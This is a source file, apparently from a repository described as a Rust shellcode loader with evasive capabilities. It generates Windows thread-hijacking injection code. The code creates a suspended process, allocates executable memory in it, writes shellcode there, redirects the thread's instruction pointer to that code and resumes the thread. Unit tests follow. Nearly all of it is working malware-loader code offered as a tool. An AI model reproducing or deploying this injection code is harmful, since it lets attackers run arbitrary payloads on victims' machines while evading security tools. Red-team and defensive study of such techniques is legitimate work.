myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
thread_hijacking.rs (7274B)
1 pub fn thread_hijacking_import() -> String { 2 super::common::common_process_injection_imports().to_string() 3 } 4 5 pub fn thread_hijacking_const() -> String { 6 format!( 7 r#" 8 {} 9 10 {} 11 12 #[repr(C)] 13 struct Context {{ 14 context_flags: u32, 15 _dr0_dr6: [u64; 7], 16 _seg_cs_ss: [u16; 6], 17 _eflags: u32, 18 rax: u64, 19 rcx: u64, 20 rdx: u64, 21 rbx: u64, 22 rsp: u64, 23 rbp: u64, 24 rsi: u64, 25 rdi: u64, 26 r8: u64, 27 r9: u64, 28 r10: u64, 29 r11: u64, 30 r12: u64, 31 r13: u64, 32 r14: u64, 33 r15: u64, 34 rip: u64, 35 _padding: [u8; 512], 36 }} 37 38 #[link(name = "kernel32")] 39 extern "system" {{ 40 {} 41 42 fn OpenThread( 43 desired_access: u32, 44 inherit_handle: i32, 45 thread_id: u32, 46 ) -> *mut std::ffi::c_void; 47 48 fn SuspendThread(thread: *mut std::ffi::c_void) -> u32; 49 50 fn ResumeThread(thread: *mut std::ffi::c_void) -> u32; 51 52 fn GetThreadContext(thread: *mut std::ffi::c_void, context: *mut Context) -> i32; 53 54 fn SetThreadContext(thread: *mut std::ffi::c_void, context: *const Context) -> i32; 55 56 fn CreateToolhelp32Snapshot(flags: u32, process_id: u32) -> *mut std::ffi::c_void; 57 58 fn Thread32First(snapshot: *mut std::ffi::c_void, entry: *mut ThreadEntry) -> i32; 59 60 fn Thread32Next(snapshot: *mut std::ffi::c_void, entry: *mut ThreadEntry) -> i32; 61 62 fn CloseHandle(object: *mut std::ffi::c_void) -> i32; 63 }} 64 65 #[repr(C)] 66 struct ThreadEntry {{ 67 size: u32, 68 usage: u32, 69 thread_id: u32, 70 owner_process_id: u32, 71 base_priority: i32, 72 delta_priority: i32, 73 flags: u32, 74 }} 75 76 const TH32CS_SNAPTHREAD: u32 = 0x4; 77 const THREAD_ALL_ACCESS: u32 = 0x1FFFFF; 78 const CONTEXT_FULL: u32 = 0x10000B; 79 80 {} 81 "#, 82 super::common::COMMON_MEMORY_CONSTANTS, 83 super::common::COMMON_PROCESS_CONSTANTS, 84 super::common::common_process_injection_externs(), 85 super::common::common_process_structures() 86 ) 87 } 88 89 pub fn thread_hijacking_init() -> String { 90 String::new() 91 } 92 93 pub fn thread_hijacking_process(process: &str) -> String { 94 let process_wide = format!( 95 "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();", 96 process.replace('\\', "\\\\") 97 ); 98 99 format!( 100 r#" 101 unsafe {{ 102 {} 103 104 let mut si = StartupInfoW {{ 105 cb: std::mem::size_of::<StartupInfoW>() as u32, 106 reserved1: ptr::null_mut(), 107 desktop: ptr::null_mut(), 108 title: ptr::null_mut(), 109 x: 0, 110 y: 0, 111 x_size: 0, 112 y_size: 0, 113 x_count_chars: 0, 114 y_count_chars: 0, 115 fill_attribute: 0, 116 flags: 0, 117 show_window: 0, 118 reserved2: 0, 119 reserved3: ptr::null_mut(), 120 std_input: ptr::null_mut(), 121 std_output: ptr::null_mut(), 122 std_error: ptr::null_mut(), 123 }}; 124 125 let mut pi = ProcessInformation {{ 126 process: ptr::null_mut(), 127 thread: ptr::null_mut(), 128 process_id: 0, 129 thread_id: 0, 130 }}; 131 132 let result = CreateProcessW( 133 process_path.as_ptr(), 134 ptr::null_mut(), 135 ptr::null(), 136 ptr::null(), 137 0, 138 CREATE_SUSPENDED, 139 ptr::null(), 140 ptr::null(), 141 &si, 142 &mut pi, 143 ); 144 145 if result == 0 {{ 146 panic!("failed"); 147 }} 148 149 let addr = VirtualAllocEx( 150 pi.process, 151 ptr::null(), 152 shellcode.len(), 153 MEM_COMMIT | MEM_RESERVE, 154 PAGE_EXECUTE_READWRITE, 155 ); 156 157 if addr.is_null() {{ 158 panic!("failed"); 159 }} 160 161 let write_result = WriteProcessMemory( 162 pi.process, 163 addr, 164 shellcode.as_ptr() as *const std::ffi::c_void, 165 shellcode.len(), 166 ptr::null_mut(), 167 ); 168 169 if write_result == 0 {{ 170 panic!("failed"); 171 }} 172 173 let mut context = Context {{ 174 context_flags: CONTEXT_FULL, 175 _dr0_dr6: [0; 7], 176 _seg_cs_ss: [0; 6], 177 _eflags: 0, 178 rax: 0, 179 rcx: 0, 180 rdx: 0, 181 rbx: 0, 182 rsp: 0, 183 rbp: 0, 184 rsi: 0, 185 rdi: 0, 186 r8: 0, 187 r9: 0, 188 r10: 0, 189 r11: 0, 190 r12: 0, 191 r13: 0, 192 r14: 0, 193 r15: 0, 194 rip: 0, 195 _padding: [0; 512], 196 }}; 197 198 if GetThreadContext(pi.thread, &mut context) == 0 {{ 199 panic!("failed"); 200 }} 201 202 context.rip = addr as u64; 203 204 if SetThreadContext(pi.thread, &context) == 0 {{ 205 panic!("failed"); 206 }} 207 208 ResumeThread(pi.thread); 209 CloseHandle(pi.thread); 210 CloseHandle(pi.process); 211 }} 212 "#, 213 process_wide 214 ) 215 } 216 217 fn generate_thread_hijacking_template(function_name: &str, process: &str) -> String { 218 super::common::TechniqueTemplateBuilder::new() 219 .with_import(thread_hijacking_import()) 220 .with_const(thread_hijacking_const()) 221 .with_init(thread_hijacking_init()) 222 .with_process(thread_hijacking_process(process)) 223 .build(function_name) 224 } 225 226 pub fn generate_thread_hijacking_code(function_name: &str, process: &str) -> String { 227 generate_thread_hijacking_template(function_name, process) 228 } 229 230 pub struct ThreadHijackingGenerator; 231 232 impl super::trait_generator::TechniqueGenerator for ThreadHijackingGenerator { 233 fn generate_code(&self, process: &str, function_name: &str) -> String { 234 generate_thread_hijacking_code(function_name, process) 235 } 236 237 fn generate_code_with_dynamic_resolver( 238 &self, 239 process: &str, 240 function_name: &str, 241 _encryption_type: &str, 242 _encryptor: &dyn crate::encryption::Encryptor, 243 ) -> String { 244 self.generate_code(process, function_name) 245 } 246 247 fn requires_process(&self) -> bool { 248 true 249 } 250 251 fn name(&self) -> &'static str { 252 "ThreadHijacking" 253 } 254 } 255 256 #[cfg(test)] 257 mod tests { 258 use super::*; 259 use crate::internals::templates::techniques::trait_generator::TechniqueGenerator; 260 261 #[test] 262 fn test_generate_thread_hijacking_template_contains_all_parts() { 263 let template = generate_thread_hijacking_template("MyFunction", "cmd.exe"); 264 assert!(template.contains("use std::ptr")); 265 assert!(template.contains("SuspendThread")); 266 assert!(template.contains("fn MyFunction")); 267 assert!(template.contains("GetThreadContext")); 268 assert!(template.contains("SetThreadContext")); 269 } 270 271 #[test] 272 fn test_generate_thread_hijacking_code() { 273 let code = generate_thread_hijacking_code("MyRandomFunc", "notepad.exe"); 274 assert!(code.contains("fn MyRandomFunc")); 275 assert!(code.contains("ResumeThread")); 276 assert!(code.contains("VirtualAllocEx")); 277 } 278 279 #[test] 280 fn test_thread_hijacking_generator_name() { 281 let gen = ThreadHijackingGenerator; 282 assert_eq!(gen.name(), "ThreadHijacking"); 283 } 284 285 #[test] 286 fn test_thread_hijacking_requires_process() { 287 let gen = ThreadHijackingGenerator; 288 assert!(gen.requires_process()); 289 } 290 }